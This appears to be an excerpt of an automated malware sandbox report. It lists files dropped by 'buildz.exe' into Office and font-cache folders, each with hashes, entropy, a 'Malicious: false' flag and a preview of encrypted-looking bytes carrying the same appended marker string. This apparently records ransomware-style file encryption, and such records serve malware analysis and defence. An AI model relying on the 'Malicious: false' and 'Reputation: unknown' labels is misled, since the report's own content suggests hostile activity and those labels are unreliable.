SHA-256:	7AF1E8F24E520476D86A7EFF151C663D7A46D0CED5F4B7DDFF884F9BAA7CB327
SHA-512:	199CEC4BB7A1D33F2146DB88B9692A3CB852420E2212E528211AE6C879A1B6754749DCF49A9E0B31B16F5AF83E294473F39CB41AF74187019C04CF92DF861B5F
Malicious:	false
Reputation:	unknown
Preview:	{"Maj.....".~..;cb...)....9...DR9Xl<..N&..e.%^"..o...F...7...10L.XqUe.hXq.].(.t..}_K..f#W.Ea....3.=.%3.i..G....h.G.....FSNQ(VH...f3...,....g....p.h..<..S.0P%F.s...P.q&O.e..=.j!0n...G'.6.....%7..n.2Ds......^......._..\.[...{....Jx...yD.W..C...T.....#.3-./X.?0..0{.j...]..2..n#"..Z0.s0...q.F.......KZ.~I.....Y].._&.....nK...@..W.......x..^..G.%a<.R..-..r......<QX3[.:.>.....t.......9.^.Hr94..1....Ke\_.\|%.K..I...2.....DR.\|..9.z..;..v..q......8;@5.E)..K..:...M..w..&/\x.....>.L...@h...k..{..F\.h.....ck....7-...+...v5Y..{.'....S.SM.l.\|l.4...........v...........[..#......F.....OQ?..b6...E.u....$.^...r.n-n..Z.a......]...........y..Wt%.w.X.y.~...'.BW.;..W.F .,..(..;......Vo.Fm.Jt7._.Y....#.....3F...RAVe...k59.G.....-Rf...z}.W..^.....J.".*&C..0...vr.;zA.e.Q..c.._..XN...v.....)..7p....k%..`E...X.......24..q....?...'.....b..Q.;..r.s.>....m......g.......}.a7.l.C.-....4.....a..f....1.H..^..x........!.]..i.....,V.E(j.........43q!U....o'o....{..K..{.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_17.ttf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	672750
Entropy (8bit):	7.12654813457557
Encrypted:	false
SSDEEP:	12288:d6f2uohfXx8I/E9PBEFGHtASk3+/KLQ/zp1km/WJ1ov0mPqxXE/RoVZPE9Ob9:Uu5/5cPwSL1kovT929
MD5:	3266E7FA444CA9FD6469751D4E27752B
SHA1:	1DA7128D99C9365935DB85703F992A88F5C6B460
SHA-256:	CDEE301CA9F8EF105E5D4CC0EB4C1113537A38F7AE3F18C9C2798131C69FADFD
SHA-512:	E15ECA17716FD47EF7F255B902E9F0559E8585B392F5E56785198305C8E7ACF9AEAD8CC89E3693E16161B21C36A72CF3E2CC557DF45B46BC8C0DF7E78B9F08B4
Malicious:	false
Reputation:	unknown
Preview:	......7.C[.v....,.8.@OU.X...I...!8u.......@/.l...w<j..p.s.T.wQ...=E\....M.f.2..Z..&......V.B..n.,.o\|Il..?..D.eWUGO"..AAl.....fB>4.!....x%.]..b...1...2.y.f....q.cm........(5 G.g.J....j...5..C.a......U... .(...~6(...5K.h.....E.`;h..._sR )..:...<.^.....a.%..M..7m-... e...rXhpP.....Z`..%...<.yV\1.R@d.(.y..zd]=....G.....Q&w...d.ZO9.......U..6..z.....t...P.,.65yTc.G.9..Q....b.YV.QwK..ih^./.y%...&.)z...R.y......1.9".~.i..;.,\|..Z..1.3...t..).r.....uA....p......F...p$`.e..h.ym.S`..!.z...NBnk..2..H/?..g[...u+..Xa..H..jG...$...).].\|..&!xE.B.C./.e.6.Nr.Ax....J.C3..C..S3..\Hj...."D.....z..E.r..1V...o.86....u...o.W...> .4..<.._.L...".Y`..0.....a@c=w...W..ve..@....E.....A..h..E..v9F.....n....4..^.C[..2....aB.51.]..`.?}mx.....t.1. .t....^.-.W..g..}..1/'.........Y...g..:..vx@r....q_...l.oA...`..7..g.W..Z0.j...)..1UK..$..[]W..je.[..._@...K....KNC...d6TR....[.@.]......$.).....G...R)~..2.a#0.....7..}.D+.....K..R..$Tsh....<3S...9.+.e...4..."$gQ..../..Xun..?.9..6$

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	759166
Entropy (8bit):	7.070685436741987
Encrypted:	false
SSDEEP:	12288:82yoqtj4ZXHyheIQ47gEFGHtAgk3+/yLQ/zRm1kjFKy6NyjbqqZyU1ovpPqxXE/R:n3QXg+1kYvN92K
MD5:	AED3EC5AF8121DF8143983BB2497B280
SHA1:	B3F1C1F24B7C9D78A109161A96AA9D2DF8CBEA6C
SHA-256:	AE91E9EA6A6885F173A53A637314BEAE08A59F8B9430F7F56702642B70AAABDB
SHA-512:	C76ABC44AD0374D119D6F383D24243C58139ABDF9E03526A68972790181D6CBAC3B6FE7A301FEF74E7A3B7A36CABA19A533D7403C0A36A1DF3D85B2A75ACB520
Malicious:	false
Reputation:	unknown
Preview:	.....c4$.Q.8.4...L..(....{..?.%.k...Vb.M.d..b...h...h.1..dLu.%`.]..g.X......y..SB=..........A.<.s\V..{./.....<Lp....pr.......G.,[T.r..y6s..7........$.n.b.{..w..Y..T0)..f..xY...:cA]5......;_U.V'..........3.#.^"u.K.e.-....F...l.".....0.sh..]4OJ...4z.a...SG.W!.A.pH\|O.5D....,....%..(...F....u\|...bv.l.yk...q.I..[v..l...U..l_.+...~..=.3.......k..e..(er...Y..v..!.."..".~...'.S.,.,...8c..A.g...}...8.99..&.G`.x.L...v.,H:HK.qi.R9.......1...U..G....\|&.;.0.,.Z..........nt....5.h.......riX_.Plb....0..4C..5......-;t..c.O;..K>.g...Q.n......gM....G.....1..{*..w...r..W.....G2......GQ(M......g..El^...<.7..@..eh&.p...(2-..........C......Vb..,..X...=E?%]..1....I...W.........n.!.x.m...8u.Z...]..'...};nD..c...9x<.].W.J^......G^..w.s.G>.;_b......be[7.[8.m.C.}>v0@.~..(...ZC.Fg^.......EH@...cb.. w.,.sU.vV.... ......9y..y9nM.GH.u[.......j.:..'..G}.e...T.=W...p@..(..H.o'....Hb<......^Kk..@..w...(....TfZ./......<....z.y...0..bAgM......u.a}.b..-....?..\|6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.CampaignStates.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1872
Entropy (8bit):	7.891442154060385
Encrypted:	false
SSDEEP:	48:YRcadnNUsbQESZmXu9vzoZRzv1MCWRs8DSTSUD:2dnNGESHJ41WRGT
MD5:	618F887A98A551AB6FDEFC6E01F67262
SHA1:	03B2291DDC61E799E3E2DDD0CF535F49CE1DA756
SHA-256:	A8808A0C66FB2FA533CCF7454A89BB7F15BB1C64AA78C9EED7DDB7F970129C58
SHA-512:	6C7BE828040802E7C78A1DEAB279F83FE0EFA7275B5C6573D3C394F9A73D6995E5603B5D030118C37E2E3718D64D05996B3AA928DE2E058EB87D97E888110EC0
Malicious:	false
Reputation:	unknown
Preview:	{"Cam..ED.Ag..`6b.;.....V",.M..5.K&.B.N^.....t]...(.....P.4L...gT....n..5.xQTNd.J..P.OB5#.-.d.M.....H.&.8.o% ..,Q..H.\|.&.....I.Qjq.u../. Z..(........}q.(OP.......Y..../.=nZ......x.mJ...,....H.....)'..b-......IK.O.!..r.\....Xo....t.t..Rn.....V...#j....:o..m...A.F.R..:.n..{.'..Qc#......,.......!...t.xTU.I.r.0-.....W.}$....2........(.R.x........:]}.....h......s.'..........].i}.nWz.h.k..mt.I.>....)._..t.7..t.;.)....7..D^@h.._]...&.S...S;..<...M.[.j.}.....K.+.G....2..:...4....9..f.4.%7T5..E..E....&.%.D.....>.y.y.;......kq.7...P..ON}YT.2.....2.>~.S.P?.RDbj.....)..(v..gB.@.R..{.A..8G....0.`......m.....N.J..)vw.}...fsp`./.e..D.7.+-.q.;B.}....L.?bd..S..../.!+.g*.B...l`n.-zF..C..E.....j...s..n.......Y.F^..6...QPD..M..d.A.{..`B..I..X.;. ....U..\.Y..Z.^.U%.`.;.......H.....wsN........E...V(.V..\|...oi...j...RW.^.....D..G....v...Z.^'1T..Y.e.}.......!...Pb..R.8....+...wk..rO.]r`BA..IB..@.=.@_,h..&.`0.d.w..}.1..}L.O.N(..c..Y^..}.W.!{....v.....rX..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.GovernedChannelStates.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	7.7944119469146695
Encrypted:	false
SSDEEP:	24:YDU7Uqnhf5DMghNP+5hhIMYNA+0A3jEADPIfwRXGMDbD:YYHf5DMgHGjKO+P3fDpD
MD5:	F9817EDF05425C178F8C9D4DD2357754
SHA1:	2FE73191347792C6B9BA4F1444E9BA1800A0322B
SHA-256:	634C0615CA51418B4652E24FCA5465FE36A69A64149D759CA1C483F57997E652
SHA-512:	BE8651E8F94BF3A4AD51A1012CB698A7671600AF57B3AF323E39D76D76BD6FF62A82BF0C8B5C080FB0ED826AC123CA685E86E04B30385D7C01CEFB0456F7E058
Malicious:	false
Reputation:	unknown
Preview:	{"ChaP.al...=...]...m.....Z.<..o.G.r..Ln7./w....u.8....!V..~>d.C.].x.Y.fs'9ey.m........v"\..d...9....f.."....f...6....K......G...?....v.p;.1.z..?...jt........^kk..Bv..(...l..{XS."..G.&A........iz...?..G...=.7M........!b9.....0...6\....d..~,F.j..;..+.R.f..U.;....]u.`.tn'...w...!...0.(.+..h...%l..k.....(}/.Q........U.d.1.S..emch..8'.$o..q.8..h#[...q..v...I.-)..:.m......q..1.".c0..)Z..!....YD%F.. ..S..s.(..~..S...EKM..qAa%.#Y...Mx..?..G. ...LE.$....K\.....j...+^..}v.._FC....)..a......X...o]..0X.@c..66V%......%,.K...y.....V..VIa....5.r.. .z/].l....G..;...4b.G.....E....5..2#..8.9p.Zu.}K.{.h..,..1...@...F:qQ2.[..>;..e...e.....r.Q..#..............Z.A..I.-<."e.7..~.Z.q..9.\....im*(. (..[B\k......]5.../.e...b,}....mu..0......R....%y.5.U.C_.m_..Z-.;.....'x .7.).Q8..2m..V8...fO...lip....wH.q.x.....{...k......"..2.].....Tz....~P.E..)....m...~..L..!u..a8.......z?.X.-.aKcb..1...7.......o....k.pZ.v..)...........;..SP]#...d...l..~K`..:SLib

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.Settings.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.428577040956907
Encrypted:	false
SSDEEP:	12:Y2YivTWeCKOglu8psv/xolk0W3Qn0l493Zhvf1+cii9a:YxeTzfY8pExz208sbD
MD5:	D89B89BAFB4D5E0250E71678EA79ABB7
SHA1:	06B8D00BE790EA327992C2485655A6DE88FB989C
SHA-256:	55F0E60E003EA06315E24DFDFE7237437F8E6DF08A7B9BC691A7C47A7BEF68E3
SHA-512:	15334DF705F759F9E07C8A22CDDAA48E8B262CC302088F0398144AB92B25A96FF7E7148529ABCA454925F806F0AFDE699DFE0393BBCD906E7911ED079F066B0D
Malicious:	false
Reputation:	unknown
Preview:	{"Sho$..D[..Z..=.^Q...I......I...KS4..."%..^.........j/..f.[3.5eu.8.?..G....X..G]8......u.$1`..J..O..c.....F.....&W.!.....aH....7oQ4Y..V.%.W.y...-..&....x.[:..t..\... .ztn.3.Vr.L"..*I6.Y\|.@..f..s..~.\|..=......<..p..U,...V/....0e..Jn......D.R........\.e.G8~...0._m$.!....$...4...DJ.\g..)S......b...i........"E..0......2.v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyEventActivityStats.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	348
Entropy (8bit):	7.371433564749786
Encrypted:	false
SSDEEP:	6:Y2QXXkvZu56EHK3sPGcOYlMZsjjUUx3QYiILSZi+3TLT2tbobgn6fWyc3cii96Z:Y2BhMqsSONLScKLmGg6f1+cii9a
MD5:	ACBCB1096A95A6C86C7139D603CD70C3
SHA1:	25ECE92BF650CBEC81099C33DD675D0220E1C78B
SHA-256:	BD3B1B73D74E2594ACC13F58C872B7BD9C18AA52639EE62B51EA4FA187804AF7
SHA-512:	C3F207922C5DEE8B2740970C497DC6FF816B3AB457D9A5E05CC7379C8325EC58CC026180397CA4EE6F26A4C4CEDC575C75424B906E01921535EDAD80AB7F39DC
Malicious:	false
Reputation:	unknown
Preview:	{"Surf.....e....)d...}....8`z..5.2.....c..T.i..U_.g......Qdz...)...X.....d$........%.........>`.......J*.f...U6..:.....\|.......zn.........Z.b.......k.x?.;.5....B.........o....&Q._.O!...W..1t.T......u...0\|..n..[a......&... .....<.K.u....D>.~.L.6..z...RBSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyHistoryStats.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	348
Entropy (8bit):	7.388454317957245
Encrypted:	false
SSDEEP:	6:Y2QsaOrf9WI5S8BJKEmAxRY7RH1WjQ6yL2nsSjqz2d58G1fkhCDR89V/XXeGHWy4:Y2sslJ5PBJ1oLkQ6yd12Qokh62L/Xf14
MD5:	3C5D5B0CF0AF28E4955DA3277A350C15
SHA1:	8884602F27E4BA1DA0D2FC3843B56EAA59A995ED
SHA-256:	6B372D25D9FD3D6953A5B3849E7FE4669BD60A1E214D03D1EDF140F5664828B4
SHA-512:	4FE184FA0D423C882783B390A0A0F180DA1A470117D10FE60C5C1D2E7D7F89FFE17C550AE33EF2AB71A77C8B3F4ACD1C18AE86F53C59C9AF0644554AA0AB702A
Malicious:	false
Reputation:	unknown
Preview:	{"Sur.#..qr\.Z.....`.n........m..O.F.U..,1..I.........;Ch.h............A.I.=...4..s../..T..oA.....o?....._....../i..$3.=%...R...I.H......{...f...R....#..v...JA:.dp.(.ZQ6.q.c#..be\|.H..T....)w...).g..g....m.%8....G.WR..<...4;.z.UB._7(....k..%..j....$SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100042v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.7000316780276945
Encrypted:	false
SSDEEP:	12:kPD7XOwUgbr5TxJ2Qmr9jBVViCRPUnRTaGlW/q4mzlx4vSTyHlEl2MoFMLsf1+cq:uD7p3bVPJ2jByCRP5GKAlgXMLrbD
MD5:	C2D37C299B02EBCDFE5E8E4883519A7B
SHA1:	5F0F54869187A82CA3E8390DEABECD1E8AFCB08A
SHA-256:	A945C27DFC014D993A2AB9367856F2EDD8FF6F98D4F6679585573DCB1B551E02
SHA-512:	6AD92667373209CC03C3FBFB65A8C2EF3B4BA2CF9F7C1356DD2A315B6F8CF45B61A0C2AA19100D8271304394FD6220568B766F1FBBC5A158B7F6F30D510CA412
Malicious:	false
Reputation:	unknown
Preview:	<?xml...x....d....L?. 3..$.v.U........8.v..R..@\|L.b.....q+.<..v..]......O.".....F4.u.....G0..K...zZ/S./.5s....o....e.$...{B0./}u.f$%.A.......b.K..^y...M.....YH..<..K..z.........v.;.$..._x..80.7p.&'0S...0\|.o.....v-UM.q) !A.7j.V.Ip...c. .\|.v..y.H..~...+$7..6.s.v....`..C..o.S.z...;.4y..Q4...q...U^>...z..-@^.).1.u.S.....j.jh...m.?..o..m>....B...&.."....Z.Q/.}...X.d.qE...s!...I.r..Q..6..7...D_.w..Un.Qki...7I8}`...L.B.P.d..F.....).n4..>I..Q......G...}O....<..:.......l?o~:.y......h..{.z.hG{$k..)...[...lC..E...a..w....q5&.....)+.qVP.T..I.Os.H.......@p...h...?....a.G."...........7.]dx.J..f.;..?..Z.d.U.$..B.G....../.$..3H......j....n...M....G.M....^..U.79.:....ZM.........d..........G....@......H...9...ok.B]SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100043v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.67039573130307
Encrypted:	false
SSDEEP:	24:Hu8fIwS+YeE2yL4X8v1Wm1aoIrhiiojdJbD:GwSP4XE1B1ptdpD
MD5:	7DB13492F88AFBC0C0DE403E859286F0
SHA1:	B0AA28F29D2F49391F6BB91C60B50E72170C62AE
SHA-256:	5899C37F5D4096C93E9637E175B427C7BEDCA36012F686C55B334A66B5C7E700
SHA-512:	C3192E5C19A39D57DBD937D8E27BE7609F77CD65D71A2F55977C67EF165186E61903816995BC6C0354AE3ED8AEF36717DDE8C5D54A9A6B7DF626B735B7A7FC2C
Malicious:	false
Reputation:	unknown
Preview:	<?xml._>.3>...O.P.D.#.......V.._c..@..{f.h~.Hf....[.Wp..\.fT.\|.K/.v..y..I'.......y;m..$.....&.....P^m>7=..6.\|c.m\]B:....9.n....a..>$~.I...WMXgr.S\|R..6..p...;{C).3I.YX..Mn.`2.(!Q.,h.....Hi.W$........T.B.]Z......#..;........./.C...7s....K..8.Y...8f.3e....W...D.nMA.y...^....sN.e......._Y...W#.On.P..==Q#12Z-...WB.ku.oai..m.X..>]e).z.M..^......KFK..O..0..z:...].E.}.N.TV6e.z...Y..W..#~dfg.7.......C..b^....)M...b#.FC...9.Rb(.w.....u.b...._.......4..4..}.y.J..J..v....v.O...b..CH...!r.!...6...{p...Y..(,c.b../.D\..f.?a..-...9E.r...&O.F`...Y..h..4h..8...[..j..=$-<...t.=.......]a~..R....Y.`..QN.L..:.PYV...1~.}.c0...y.....<...n}.....<....].b@.^..B.F9U..m.....l#.$K.....Q...i.X=^........0....m.7U.......b.EK..Z4.b8.....G].<k...K.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100068v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.764219569626736
Encrypted:	false
SSDEEP:	12:dcydE8wq+FYK+6570CdPGljwD825k+/tZEM0z/QCexfScA1lQIk3Z7s1+cii9a:eU3Ui6il62+/tHionxqcA1l4bD
MD5:	F5E537501B56BAD988C3C0E54940674F
SHA1:	E22D264FBA05F84FC9924E383C4B93BC0D21E9FB
SHA-256:	D7733D958383D93BF42829E411FB8B04FF603736F14A59F3E6C88B19D54F035E
SHA-512:	9A8D4AD0D4F0A82A56D28FC50363282D6FCAE9D22EB3F3234533319EE656E196908F6BBD5EEB0CA29462C26DB0BC5BDF1EB49483AE74B0CE2B3B78312D3CB517
Malicious:	false
Reputation:	unknown
Preview:	<?xml.=.E2.Wz..^..."h....Y.u.@..c.N.!..[ce`t..W.#..r.=.%d.!8......%.=, .Y........E...`\....S.....<xG5....6.\...%....a.....ze........Ji3.c....6d(7.2.R.......vJ.ur+.#.7...6.4....fG.n.#...V..b.....=.\|.]. m......!k?.8......l...2...0..T ...A..............FA...........\!..~.....((....T.0.....#<.kj....wP...{,%..5).....1W;U...4.I..5..ep.....:'o..YV...n.4.....{.i.-..,.0mw...:....._.y-~\......fo.....I..0S......}Io...]....v.'\|tW."..Mj..=.&...m.8+.c....N.gm%~h#..2..lqJ/F.cS...;.~G .>..m.......x.@6..,._..K..8%)#..DE..!.C...z.. ..c...\|..rg.....T.8\|.....)....T$..r.jb..V)U..........n..4+.IQSNDU>.1r.zs4.[o...}....u.L.*.a.....23......MD4y.n.nJ..hU..#.Wd.j.#.sIuqr...<.-.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100069v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.8052231242863455
Encrypted:	false
SSDEEP:	24:Wco/Y3HvGUDBts1GVq31ANmQX7bMCXDW2xSKnwGt5nTbD:aUV++5mEb7qUS8wi5nHD
MD5:	3D1C4B291830872FDF56F3465778DB42
SHA1:	35F9F158958B85C0290EC99F6259A97A14AC15CA
SHA-256:	2ECE285ACF26FE1AA6D059E6C697426B607BB53F837E87F57C5BF988A040BA1F
SHA-512:	8A1215E542F3959A92A22591E98E7D13DD88B57032A82C67D43E866481B087B1DE6C61AC1FB206EDF67E395C0F66DA13E4AC499B7B552D7B000E1BCC6BBF8533
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....!un..&..z#tg.E....r.L......w:..8cr......7oeLe.$.pv......H..C.... ...I..0x.n.c#......d.7l.5....S?o}...H........R'I...-5.m..m}..U>b{R..n....._!...!O.!.m\...N.H..S.....?..%h.....z.y3........(E.&?.I.."..j'....{.K+J).q...6.Qe..\..gKe.......[.....7....c...}&,.E..l...jS.$..1....J.h.....'.(...T..............Qv...n........a.HK....8............,.....R../NB..X^c...g...$.y...y..p....FyAEAN...{..3....j.H.oV....b.N...W..B.....,B.KG.oL..v9.@.90...m.?.A$..wn...I...GF.?..T.(.....5 {.].Hx.....?/\|n...pPXz.c...U..K...QYG...........\|....7...h\|...K.)..-.s...]..Z.....7.fr..d....h.8.C..g.. p.].#...YoGqQ..l..t]..].!.D....+...{v.=B#....y.V.\<?AB>..K.v..p.T..k.K.HG.b.j.u{^i..n/U).....M.....Nz~.......Q..\$.j.B.U.0V..R....@...}3V-..j...w.gT...3{H..V.aN.6.8.x.a..&,J.....>-9......A#..3......o......$a.-..N...mI.Y5\|.=.e*M...wS<L.h..,7....g....a...a...D1..""$..0...g..DU)..Tl.<...FW...!c.l.d....h.B1.9......x.5...3.e...f..@...Z.-..E..nS.k.C....../p...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100070v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.738476164964024
Encrypted:	false
SSDEEP:	12:xPf2m6TsM+9WxUDQUhz1Fi3J+3yEl08PESIfZ4aLpXWfCuVATvLbwSnZXkdPcH14:xmm6TscqzEJ+3yElSSIT6V2TE5FjbD
MD5:	B54A7E3CFF70E736210C70D6A17FCA5D
SHA1:	319E00AC55E6E48BDD0EDEB1AAC92C0F476A518E
SHA-256:	7F71C8F1A45F185062C568FDBCF433595649812F3138630A38F78775636F6509
SHA-512:	B102FE2159E10057CC24FBEC8BE988D94A2D6467A570BBE865080C6739BBC65E493505479E9B21223B34807CB2B8A5FCFE8C3BDE4E52E03E0DB4D7EEB427D805
Malicious:	false
Reputation:	unknown
Preview:	<?xmlP.?..~............9...w...$=.&-...d6...VCc.{_m....#...HO........S...4ym.);eT.+6.....P..]...l>...V\|..5..l....w.Ae.f.....%.3...4q...s........qP.U..&..~I..."....1..~...Y.w\|......i........F.0".%\|:..i....'.B.._xY.....nR....4..U..G.o.9.......!.Y.s{.d..j.o..G..........7P4I.....I..Q.....).U. g..w....L..beJ.b.<..'..3.<.m.f.&.....Sa.u.....X.Mc.Nx{J..vR....).y.......WD.....p......b4.........3...d.?.l......5....4Q..;%..$..F......65..vF..].....J..*... ....C....S.(.....N.U^3y..0.....?.P<.-=.q..6`.....(..\|.&.\.........@..VJ>...l.)...xwq......._.X...=.....].).3..>/......L.~[..s.,\G...M:...p..hCK>.enp...Za.J..0]0&..9.a~.H.k,....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100071v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.7032178045666
Encrypted:	false
SSDEEP:	12:Uj5Z4ELp3WT63dGxP+CYhsZOXOYljKbrczSPNxPryY0PWindEmwVVz1+cii9a:Uj5Z40p3WyyPeiYlK0eLimmwLAbD
MD5:	73FB79335B445F6979489FFE62F5D46F
SHA1:	FDD1B6113BCEEB6A46083510051059EBFF2B6437
SHA-256:	3AAC8F40801DDCA72960BE3C7E52E0D6EF35C2DC8D3123D5ED3F5DB983CC7036
SHA-512:	FBB0D9856A65A68C7EDD51B584DD71AE45DBE7AD0685758B1E31189FFE9DD3641B216631BC932CC6EB19568F832EF71D0BC66499CA9E5B3D87D331405CEDA1D5
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....0......?<.Yl.(....I...G.YQ..#).....\]..6?.....E...D.I..n[....R...9.g.7.S..X.'.#.m..c..J~Cm.$...X.K..e.(!>..._...H....h!.\r....S.$..,..(..X..!.uX......^&.Ym..e.....`.=..R........3.fpL)m...P....4w=..bu$.. .wA.8....O...b9...:...H6.........\|..._..._............><...c.....H..T>.g..8..k.33.K....N.G.....4.y<.e....Z.......UZ.y..fl..).B...u;..\...a/.=..W.....M........T!.Z>.v.sQK........N.............sp...g9....=....o..sqK..n........Lo4.e/.."......7d.U..r..0.O$....6>.t.^.._{7.r......>....z......y.G..-...=.@.....{L..M.H.'.F..P.9\|p.q?...~X.-.......i_...Q....ks...5.(&.l..=L.Z..,.....\|..;.=)-.>...t(i-..y..$.[.].........0.Z..`1..l.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100074v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.714032258275958
Encrypted:	false
SSDEEP:	12:Bk655na7NHh7lOWXH5D8SYALe4v6nfz2vZQWKV+kXTXu6++I1e4m+FpSLPlBb5pG:B7aHNX56nftPVBDSFpY/BsbD
MD5:	9983F9630110B2ED1479F3C0EC602734
SHA1:	4B4DA759254C0B394A4CD1114ADFC22DC181A4FE
SHA-256:	4D73072B7B2829F5D601BFDCCB6CDAADC533FD8E165B4DC7F9EE8F5C5487A76F
SHA-512:	9B97F8B8740099A46B55CE00759AA6408041CB5FF74D06E2BEB6E54A639700CFA043F9078267CEB33F27EF5EF40B1C435B028EB5523273064E9C9A9A86B80FE7
Malicious:	false
Reputation:	unknown
Preview:	<?xml./..e`....["(.....+...P..@..0...u.S..<..Gc....K.......&.7S!..^,".}z..P..z{...m...$..q..t..f..........N...'..O.b...O#.6..l..B^].(.D..rL.G&.-...+Y4W4\..y....\|ofP.c...V.6_Jc..<.V.....hna.A....R...OC...d..\..e5w.....93...\|.-..U4.".t.....r......x.]...A.TF,.$.~.VP.^.)B..9Q..D.....l..+qk..a`/..n.w.....r.'e..K...9....Mm.V.....(.I....;v.H.D.~.z..M..E......\|7..g3.B....N5.J.H8.......=..fS....S..u.0....-..a..t....KZ....U....+..c.......&c-..a..acq>$..p.S.rP.~....z=!......6..._.....PO...&um.@..jS..#.....q.i...............]&N..Y.9.w.HX....P.l8L.7.2xu.J..)..`.7U...g..m)..w.._....g.R........Raf#..s.>,(...C...T....+..5.h.[9..X..m..:2g......q7...........Eh3:.s..,....4....I....ZU....`.]z.<.`....(Q7...e...03e.$.2k.4.Q.r.P...R.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100075v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.754869242914465
Encrypted:	false
SSDEEP:	24:Y1YqkQE32wBDRcRcnwbuCHgzEeuj7S89z1M+Sk+kbD:YYqkTGwBDCOnwTHgoesS85Ik+uD
MD5:	18180C1A667FDE2BD1D1DB3B3B43FEE9
SHA1:	E9D16137E334831A791E3CA8E7AB4C88DF548BC1
SHA-256:	B873583D611E24922AFC4887C8173301EE2C4B58615BEB72DDD321753FBF29B7
SHA-512:	AD9D4D86D96EB9A2F8B406A567E13E0A9D2E3548341E2171AE632E1802C0FF4B67E11B01E383F02AEDC92F21629CF1EDE3E6F723996FF7982A80735A7678DFAF
Malicious:	false
Reputation:	unknown
Preview:	<?xml.h....Ef.....(...u:.........b.?...............-Y....$[R.1.. .ar.........tV..2T.].7j'"...~]ZU_o...D&A..P.../{r.J.qlTr..tTyQUv.1jv..^k..yx..Q.F.E...Vz....Gq.^M.:...d'..6.).....=.[,.-&t@D.I....FI.............v$.Q;.z.6.....N...<.._..@..^Ow...'X".J....iBX.....X!.d. Y........{yd..E6pu-y....)Tx.AIv.{=.....}5.6l.0x.......u..6.Q. 